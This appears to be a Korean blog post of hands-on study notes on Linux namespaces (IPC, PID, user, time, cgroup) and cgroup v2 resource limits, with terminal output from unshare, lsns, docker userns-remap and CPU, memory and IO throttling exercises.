latest: Pulling from library/ubuntu
31e907dcc94a: Pull complete
Digest: sha256:8a37d68f4f73ebf3d4efafbcf66379bf3728902a8038616808f04e34a9ab63ee
Status: Downloaded newer image for ubuntu:latest
root@ffa52d23a07a:/# ipcs -m

------ Shared Memory Segments --------
key        shmid      owner      perms      bytes      nattch     status

root@ffa52d23a07a:/# ipcmk -M 2000
Shared memory id: 0
root@ffa52d23a07a:/# ipcs -m

------ Shared Memory Segments --------
key        shmid      owner      perms      bytes      nattch     status
0xe1180fdd 0          root       644        2000       0

root@ffa52d23a07a:/# lsns -p $$
        NS TYPE   NPROCS PID USER COMMAND
4026531834 time        2   1 root bash
4026531837 user        2   1 root bash
4026532236 mnt         2   1 root bash
4026532237 uts         2   1 root bash
4026532238 ipc         2   1 root bash
4026532239 pid         2   1 root bash
4026532240 net         2   1 root bash
4026532298 cgroup      2   1 root bash

root@MyServer:/tmp# lsns -p $$
        NS TYPE   NPROCS PID USER COMMAND
4026531834 time      116   1 root /sbin/init
4026531835 cgroup    115   1 root /sbin/init
4026531836 pid       115   1 root /sbin/init
4026531837 user      116   1 root /sbin/init
4026531838 uts       111   1 root /sbin/init
4026531839 ipc       115   1 root /sbin/init
4026531840 net       115   1 root /sbin/init
4026531841 mnt       108   1 root /sbin/init

ipc inode 가 다른 것을 확인

ipc 네임스페이스 공유하기

docker run --rm --name test2 --ipc=container:test1 -it ubuntu bash



ipc가 같은 것을 볼 수 있음
파드 안에 여러개 컨테이너 뜰 때 ipc 공유 가능

실습 6 PID 네임스페이스

2008년, Process ID 격리

  • 부모-자식 네임스페이스 중첩 구조, 부모 네임스페이스 에서는 → 자식 네임스페이스를 볼 수 있음
  • 자식 네임스페이스는 parent tree 의 id 와 subtree 의 id 두 개를 가짐

    컨테이너 내에서는 괄호 안의 숫자로 프로세스가 보임 -> 두 개의 트리 구조

pid 1

init 프로세스 (커널이 생성 ) 매우 중요
시그널 처리
좀비, 고아 프로세스 처리
죽으면 시스템 패닉(reboot)

root@MyServer:/tmp# ps -ef | head -n 3
UID          PID    PPID  C STIME TTY          TIME CMD
root           1       0  0 18:41 ?        00:00:05 /sbin/init
root           2       0  0 18:41 ?        00:00:00 [kthreadd]

커널이 최초 실행되는 init 확인 가능

컨테이너에서 이 프로세스 죽으면 pid 네임스페이스도 죽음
컨테이너 실행하자마자 죽는이유 : fork 된 프로스세가 죽어서

unshare -p [명령어]

-p 옵션을 주면 [명령어]를 PID namespace 를 isolation 하여 실행합니다
-f(fork) : PID namespace 는 child 를 fork 하여 새로운 네임스페이스로 격리함
--mount-proc : namespace 안에서 ps 명령어를 사용하려면 /proc 를 mount 하기위함

unshare -fp --mount-proc /bin/sh

터미널 1과 터미널 2의 프로세스 비교

root@MyServer:/tmp# echo $$
3019
root@MyServer:/tmp# ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  1.3 101892 12772 ?        Ss   18:41   0:05 /sbin/init
root           2  0.0  0.0      0     0 ?        S    18:41   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        I<   18:41   0:00 [rcu_gp]
root           4  0.0  0.0      0     0 ?        I<   18:41   0:00 [rcu_par_gp]
root           5  0.0  0.0      0     0 ?        I<   18:41   0:00 [slub_flushwq]
root           6  0.0  0.0      0     0 ?      
....
-----
# echo $$
1

# ps -ef
UID          PID    PPID  C STIME TTY          TIME CMD
root           1       0  0 22:43 pts/3    00:00:00 /bin/sh
root           2       1  0 22:44 pts/3    00:00:00 ps -ef
# ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.1   2892  1664 pts/3    S    22:43   0:00 /bin/sh
root           3  0.0  0.3  10464  3200 pts/3    R+   22:44   0:00 ps aux

내부에서 PID NS 확인

아래 터미널2에서 lsns -t pid -p <위 출력된 PID>와 비교

# lsns -t pid -p 1
        NS TYPE NPROCS PID USER COMMAND
4026532235 pid       2   1 root /bin/sh

root@MyServer:/tmp# ps aux | grep '/bin/sh'
root        3457  0.0  0.1   6192  1792 pts/3    S    22:43   0:00 unshare -fp --mount-proc /bin/sh
root        3458  0.0  0.1   2892  1664 pts/3    S+   22:43   0:00 /bin/sh
root        3465  0.0  0.2   7008  2304 pts/1    S+   22:46   0:00 grep --color=auto /bin/sh

root@MyServer:/tmp# lsns -p 3458
        NS TYPE   NPROCS   PID USER COMMAND
4026531834 time      110     1 root /sbin/init
4026531835 cgroup    110     1 root /sbin/init
4026531837 user      110     1 root /sbin/init
4026531838 uts       106     1 root /sbin/init
4026531839 ipc       110     1 root /sbin/init
4026531840 net       110     1 root /sbin/init
4026532234 mnt         2  3457 root unshare -fp --mount-proc /bin/sh
4026532235 pid         1  3458 root /bin/sh

호스트에서 볼때와 내부에서 볼때 pid가 다른 것을 볼 수 있음
호스트에서 자식 프로세스를 볼 수 있음
4026532235로 pid inode가 같은것을 확인 가능

호스트에서 컨테이너 프로세스 종료 해보기

# fork
# sleep 10000

root@MyServer:/tmp# ps aux | grep sleep
root        3477  0.0  0.1   6192  1920 pts/3    S+   22:52   0:00 sleep 10000
root        3480  0.0  0.2   7008  2304 pts/1    S+   22:52   0:00 grep --color=auto sleep

root@MyServer:/tmp# kill -SIGKILL $(pgrep sleep)

# sleep 10000
Killed

sleep 프로세스가 죽은 것을 확인 가능

/bin/sh를 죽인다면 ?

root@MyServer:/tmp# kill -SIGKILL $(pgrep sleep)
root@MyServer:/tmp# ps aux | grep '/bin/sh'
root        3468  0.0  0.1   6192  1792 pts/3    S    22:48   0:00 unshare -fp --mount-proc /bin/sh
root        3469  0.0  0.1   2892  1664 pts/3    S+   22:48   0:00 /bin/sh
root        3483  0.0  0.2   7008  2304 pts/1    S+   22:53   0:00 grep --color=auto /bin/sh
root@MyServer:/tmp# kill -SIGKILL 3469
# Killed

프로세스가 종료되는 것을 볼 수 있음

도커 종료 Exit status

https://docs.docker.com/engine/containers/run/#exit-status
https://blog.naver.com/alice_k106/221310477844

(심화) 도커 128 이상의 종료 코드

https://komodor.com/learn/exit-codes-in-containers-and-kubernetes-the-complete-guide/
https://squarelab.co/blog/argo-exit-status-143/

User 네임스페이스

  • UID/GID 넘버ㅍ스페이스 격리
  • 컨테이너의 루트권한 문제를 해결
  • 부모-자식 네임스페이스의 중첩 구조
  • UID/GUID Remap

컨테이너에서는 uid=0으로 보여도 실제로 호스트에서는 uid=1000

도커의 root 사용

패키지 설치가 쉬움
시스템 리소스 이용에 제약이 없다... 하지만 보안에 취약

실습 7 네임스페이스 안과 밖의 UID/GID를 다르게 설정할 수 있음

ubuntu@MyServer:~$ docker run -it ubuntu /bin/sh
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)

컨테이너 내부에서는 루트로 보임

ubuntu@MyServer:~$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),2
5(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),119(netdev),120(lxd),999(docker)

ubuntu@MyServer:~$ ps -ef | grep "/bin/sh"
root        3554    3526  0 23:00 pts/0    00:00:00 /bin/sh

외부에서 볼 때도 root인 상태

확인을 위해 네임스페이스 체크

# readlink /proc/$$/ns/user
user:[4026531837]
ubuntu@MyServer:~$ readlink /proc/$$/ns/user
user:[4026531837]

ubuntu유저와 user가 같음 -> 호스트에 영향이 미치면 root로 실행 가능한 위험한 상태

컨테이너를 탈취 후, 해당 프로세스를 기반으로 호스트에 Action 이 가능할 경우, root 계정 권한 실행이 가능 ⇒ 보안상 취약

unshare -U --map-root-user /bin/sh

unshare -U --map-root-user /bin/sh

# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
# readlink /proc/$$/ns/user
user:[4026532234]
---
ubuntu@MyServer:~$ readlink /proc/$$/ns/user
user:[4026531837]

터미널 1과 터미널2의 user inode 다른것을 확인

ubuntu@MyServer:~$ ps -ef |grep "/bin/sh"
ubuntu      3631     771  0 23:06 pts/0    00:00:00 /bin/sh
ubuntu      3637    2620  0 23:07 pts/2    00:00:00 grep --color=auto /bin/sh

우분투 계정으로 실행된 것을 확인

https://docs.docker.com/engine/security/userns-remap/
https://kubernetes.io/ko/docs/concepts/workloads/pods/user-namespaces/
https://kubernetes.io/ko/docs/tasks/configure-pod-container/user-namespaces/

도커 컨테이너에서 USER 네임스페이스 격리 실습 - 과제 3

https://docs.docker.com/engine/security/userns-remap/

준비사항

테스트 유저 준비

ubuntu@MyServer:~$ id ubuntu
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
ubuntu@MyServer:~$ cat /etc/subuid
ubuntu:100000:65536
ubuntu@MyServer:~$ cat /etc/subgid
ubuntu:100000:65536

데몬에서 userns 격리

도커데몬 실행

dockerd --userns-remap="ubuntu":ubuntu"

vi /etc/docker/daemon.json

{
        "userns-remap": "ubuntu"
}

도커 데몬 재시작

systemctl restart docker

ubnutu 계정으로 이미지 다운로드 된 것을 확인

root@MyServer:/var/lib/docker# ll
total 56
drwx--x--- 13 root 100000 4096 Aug 31 23:22 ./
drwxr-xr-x 42 root root   4096 Aug 31 18:55 ../
drwx--x--- 12 root 100000 4096 Aug 31 23:22 100000.100000/

컨테이너 실행하고 비교

# docker run -it ubuntu bash
root@MyServer:/var/lib# readlink /proc/$$/ns/user
user:[4026531837]
---
root@bfb10d99609b:/# readlink /proc/$$/ns/user
user:[4026532235]

100000      4602    4581  0 23:26 pts/0    00:00:00 bash

user inode가 다르고 ps -ef 시 root가 아닌 유저로 실행 되는 것을 확인 할 수 있음

이렇게 설정하게 되면 앞으로 실행되는 모든 컨테이너에 기본으로 적용되게 됨
해제 하고 싶다면 --userns=host 명령어를 컨테이너 실행할 때 사용하면 됨 -> 이 경우 PID와 NET 네임스페이스를 공유하게 됨
--privileged 옵션을 컨테이너 실행 시 사용하면 --userns=host와 같은 효과

쿠버네티스에서
https://kubernetes.io/ko/docs/concepts/workloads/pods/user-namespaces/
https://kubernetes.io/ko/docs/tasks/configure-pod-container/user-namespaces/

time 과제 4

시간을 격리시킴으로써 자신만의 time offeset을 사용할 수 있게 됨
이를 통해 프로세스가 Host와 다른 날짜와 시간을 갖게 됨

unshare -T

# unshare -T --boottime 100000000

root@MyServer:~# lsns -p $$
        NS TYPE   NPROCS   PID USER COMMAND
4026532233 time        2  5368 root -bash

root@MyServer:~# lsns -p $$
        NS TYPE   NPROCS PID USER COMMAND
4026531834 time      108   1 root /sbin/init

시간 네임스페이스 격리

격리 된 공간에서 시간 설정

root@MyServer:~# date -s "28 OCT 2015 18:32:40"
Mon Oct 28 18:32:40 KST 2013

---
root@MyServer:~# date
Mon Oct 28 18:36:17 KST 2013
---
root@MyServer:~# date
Mon Oct 28 18:36:19 KST 2013

격리된 공간하고 다를 줄 알았는데 똑같다..

offset을 바꾸는거라 timezone이나 NTP만 바꾸는듯..
https://m.blog.naver.com/love_tolty/222674500739

root@MyServer:~# export TZ="America/New_York"
root@MyServer:~# date
Mon Oct 28 05:46:01 EDT 2013
-----
root@MyServer:~# date
Mon Oct 28 04:46:04 CDT 2013

cgroup 과제 4

cgroup namespace

프로세스는 /proc/self/cgroup에 가상화된 새로운 cgroup 마운트를 가지게 됨

unshare -C

unshare -C
---
root@MyServer:~# lsns -p $$ -t cgroup
        NS TYPE   NPROCS PID USER COMMAND
4026531835 cgroup    111   1 root /sbin/init
---
root@MyServer:~# lsns -p $$ -t cgroup
        NS TYPE   NPROCS   PID USER COMMAND
4026532233 cgroup      2  6052 root -bash

격리된 공간에서는 수정 불가능

echo 10 > cpu.max
-bash: echo: write error: Invalid argument

cgroups

https://p1p2.tistory.com/1

cgroup이란? : Cpu, Disk I/O, Memory, Network 등 자원 사용을 제한/격리 시키는 커널 기능
cgroups인가? cgroup 인가?

  • 여러 개의 control group을 명시적으로 언급할 때는 복수형인 "cgroups"을 사용한다고 한다.
  • 그리고 앞에 c는 대문자로 쓰이지 않는다고 한다.

컨테이너 별로 자원을 분배하고 limit 내에서 운용

하나 또는 복수의 장치를 묶어서 그룹
프로세스가 사용하는 리소스 통제

cgroup 파일시스템

자원 할당과 제어를 파일시스템으로 제공
cgroup 네임스페이스로 격리가 가능

control groups

  • 하나 또는 복수의 장치를 묶어서 하나의 그룹을 만들 수 있으며 개별 그룹은 시스템에서 설정한 값만큼 하드웨어를 사용
  • 시스템의 프로세스들은 장치별로 특정한 cgroup에 속하여 프로세스가 사용하는 하드웨어 자원의 총량에 제한을 받음
  • process를 계층적인 group으로 구성해서, resource 사용을 제한하고 모니터링할 수 있는 linux kernel feature
  • cgroup의 interface는 cgroupfs이라 불리는 pseudo-filesystem을 통해 제공됨
  • cgroupfs의 subdirectory를 생성/삭제/변경하면서 정의됨

실습 9 cgroup

현재 동작하는 cgroup 확인

ubuntu@MyServer:~$ mount -t cgroup
ubuntu@MyServer:~$ mount -t cgroup2
cgroup2 on /sys/fs/cgroup type cgroup2 (rw,nosuid,nodev,noexec,relatime,nsdelegate,memory_recursiveprot)

ubuntu@MyServer:~$ findmnt -t cgroup2
TARGET         SOURCE  FSTYPE  OPTIONS
/sys/fs/cgroup cgroup2 cgroup2 rw,nosuid,nodev,noexec,relatime,nsdelegate,memory_recursiveprot


# cgroup2 이외에 proc, bpf 도 있음
findmnt -A
TARGET                         SOURCE           FSTYPE      OPTIONS
/                              /dev/nvme0n1p1   ext4        rw,relatime,discard,errors=remount-ro
...
├─/proc                        proc             proc        rw,nosuid,nodev,noexec,relatime
  ...
├─/sys                         sysfs            sysfs       rw,nosuid,nodev,noexec,relatime
│ ├─/sys/kernel/security       securityfs       securityfs  rw,nosuid,nodev,noexec,relatime
│ ├─/sys/fs/cgroup             cgroup2          cgroup2     rw,nosuid,nodev,noexec,relatime,nsdelegate,memory_recursiveprot
│ ├─/sys/fs/pstore             pstore           pstore      rw,nosuid,nodev,noexec,relatime
│ ├─/sys/firmware/efi/efivars  efivarfs         efivarfs    rw,nosuid,nodev,noexec,relatime
│ ├─/sys/fs/bpf                bpf              bpf         rw,nosuid,nodev,noexec,relatime,mode=700

# stat -fc %T /sys/fs/cgroup/
cgroup2fs

현재는 cgroup2 가 동작하고 있음

cgroupv1만 지원 시, cgroup2 출력되지 않음

ubuntu@MyServer:~$ grep cgroup /proc/filesystems
nodev   cgroup
nodev   cgroup2

프로세스별 cpu memory 각각 개별적 자원 사용 확인

ubuntu@MyServer:~$ sleep 100000
----
ubuntu@MyServer:~$ cat /proc/cgroups
#subsys_name    hierarchy       num_cgroups     enabled
cpuset  0       72      1
cpu     0       72      1
cpuacct 0       72      1
blkio   0       72      1
memory  0       72      1
devices 0       72      1
freezer 0       72      1
net_cls 0       72      1
perf_event      0       72      1
net_prio        0       72      1
hugetlb 0       72      1
pids    0       72      1
rdma    0       72      1
misc    0       72      1

$ cat /proc/$(pgrep sleep)/cgroup # sleep이 실행되고 있는 프로세스 id의 디렉토리
0::/user.slice/user-1000.slice/session-11.scope

tree /proc/$(pgrep sleep) -L 2 # sleep 실행한 프로세스의 정보를 확인 가능
├── ns
│   ├── cgroup -> cgroup:[4026531835]
│   ├── ipc -> ipc:[4026531839]
│   ├── mnt -> mnt:[4026531841]
│   ├── net -> net:[4026531840]
│   ├── pid -> pid:[4026531836]
│   ├── pid_for_children -> pid:[4026531836]
│   ├── time -> time:[4026531834]
│   ├── time_for_children -> time:[4026531834]
│   ├── user -> user:[4026531837]
│   └── uts -> uts:[4026531838]

cgroup 목록 확인

$ ls /sys/fs/cgroup
cgroup.controllers      cgroup.threads         init.scope        memory.pressure                sys-kernel-config.mount
cgroup.max.depth        cpu.pressure           io.cost.model     memory.reclaim                 sys-kernel-debug.mount
cgroup.max.descendants  cpu.stat               io.cost.qos       memory.stat                    sys-kernel-tracing.mount
cgroup.pressure         cpuset.cpus.effective  io.pressure       misc.capacity                  system.slice
cgroup.procs            cpuset.mems.effective  io.prio.class     misc.current                   user.slice
cgroup.stat             dev-hugepages.mount    io.stat           proc-sys-fs-binfmt_misc.mount
cgroup.subtree_control  dev-mqueue.mount       memory.numa_stat  sys-fs-fuse-connections.mount

 cat /sys/fs/cgroup/cgroup.controllers # 제공 가능한 컨트롤러 (제어가능한 리소스 목록)
cpuset cpu io memory hugetlb pids rdma misc

cgroup의 최상위 디렉토리

user.slice

tree /sys/fs/cgroup/ -L 1
└── user.slice
tree /sys/fs/cgroup/ -L 2
└── user-1000.slice
tree /sys/fs/cgroup/user.slice -L 1
user-1000.slice
tree /sys/fs/cgroup/user.slice/user-1000.slice -L 1
└── user@1000.service
tree /sys/fs/cgroup/user.slice/user-1000.slice -L 2
── user@1000.service
    ├── app.slice
    ├── cgroup.controllers
    ├── cgroup.events
    ├── cgroup.freeze
    ├── cgroup.kill
    ├── cgroup.max.depth
    ├── cgroup.max.descendants
    ├── cgroup.pressure
    ├── cgroup.procs

현재 세션에서 점유하고 있는 정보도 확인할 수 있음

cgroup으로 cpu 자원 제한

툴 설치

apt install cgroup-tools stress -y

부하 발생

stress -c 1

htop 으로 자원 사용률 확인

프로세스 1개만 큼 사용하고 있음

서브 디렉토리 생성 및 확인

root@MyServer:~# cd /sys/fs/cgroup/
root@MyServer:/sys/fs/cgroup# mkdir test_cgroup_parent && cd test_cgroup_parent
root@MyServer:/sys/fs/cgroup/test_cgroup_parent# tree
.
├── cgroup.controllers
├── cgroup.events
├── cgroup.freeze
├── cgroup.kill
├── cgroup.max.depth
├── cgroup.max.descendants
├── cgroup.pressure

root@MyServer:/sys/fs/cgroup/test_cgroup_parent# cat cgroup.controllers
cpuset cpu io memory hugetlb pids rdma misc
# 제어 가능목록 확인

cpu를 subtree이 추가하여 컨트롤 할 수 있도록 설정 : +/-(추가/삭제)

root@MyServer:/sys/fs/cgroup/test_cgroup_parent# cat cgroup.subtree_control
root@MyServer:/sys/fs/cgroup/test_cgroup_parent# echo "+cpu" >> /sys/fs/cgroup/test_cgroup_parent/cgroup.subtree_control
root@MyServer:/sys/fs/cgroup/test_cgroup_parent# cat cgroup.subtree_control                                  
cpu

cpu.max 제한 설정 : 첫 번쨰 값은 허용된 시간(마이크로초) 두 번째 값은 총 기간 길이 > 1/10 실행 설정

echo 100000 1000000 > /sys/fs/cgroup/test_cgroup_parent/cpu.max

test용 자식 생성 pid 추가하여 제한 걸기

root@MyServer:/sys/fs/cgroup/test_cgroup_parent# mkdir test_cgroup_child && cd test_cgroup_child
root@MyServer:/sys/fs/cgroup/test_cgroup_parent/test_cgroup_child# echo $$ > /sys/fs/cgroup/test_cgroup_parent/test_cgroup_child/cgroup.procs
root@MyServer:/sys/fs/cgroup/test_cgroup_parent/test_cgroup_child# cat /sys/fs/cgroup/test_cgroup_parent/test_cgroup_child/cgroup.procs
5055
5254
root@MyServer:/sys/fs/cgroup/test_cgroup_parent/test_cgroup_child# cat /proc/$$/cgroup
0::/test_cgroup_parent/test_cgroup_child

부하 발생 확인 : 터미널2에 htop 확인

stress -c 1


cpu 사용량이 10프로로 제한 된 것을 확인

값 변경 후 재 확인

echo 1000000 1000000 > /sys/fs/cgroup/test_cgroup_parent/cpu.max # 나누면 1


다시 cpu 전부를 사용하는 모습 확인

cgroup 삭제

exit
sudo su -
rmdir /sys/fs/cgroup/test_cgroup_parent/test_cgroup_child
rmdir /sys/fs/cgroup/test_cgroup_parent

cgoup v1 경우

# 아래는 cgroup v1 경우
---------------------------
## 1. 제어그룹 생성 : mycgroup
### -a : owner 설정 (control group's file)
### -g : cgroup 설정 <controllers>:<path>
### -g cpu:mycgroup ~ cpu controller 를 사용하고 path 는 mycgroup
cgcreate -a root -g cpu:mycgroup
tree /sys/fs/cgroup/cpu/mycgroup
## 2. 제어그룹 리소스 설정 : CPU 사용률 설정
### cpu 사용률(%CPU)
### cpu.cfs_quota_us / cat cpu.cfs_period_us * 100
### 참고 1000us = 1ms
### cpu사용률(30%)을 설정 (30,000/100,000)x100=30%
cgset -r cpu.cfs_quota_us=30000 mycgroup
cat /sys/fs/cgroup/cpu/mycgroup/cpu.cfs_quota_us
## 3. 제어그룹 프로세스 할당 : stress 실행
cgexec -g cpu:mycgroup stress -c 1

cgroupv2를 이용하여 CPU, Memory, DISK I/O제한 설정해보기 과제5

메모리 제한, IO 제한 추가

root@MyServer:~# echo "+memory" | sudo tee /sys/fs/cgroup/cgroup.subtree_control
+memory
root@MyServer:~# echo "+io" | sudo tee /sys/fs/cgroup/cgroup.subtree_control
+io

메모리 제한

root@MyServer:/sys/fs/cgroup/test_cgroup_parent# echo "500M" > memory.max

io 제한

echo "252:0 wbps=10485760" > /sys/fs/cgroup/parent/io.max
echo $$ > /sys/fs/cgroup/parent/child/cgroup.procs
profile
네.. 뭐.. 김건호입니다...

0개의 댓글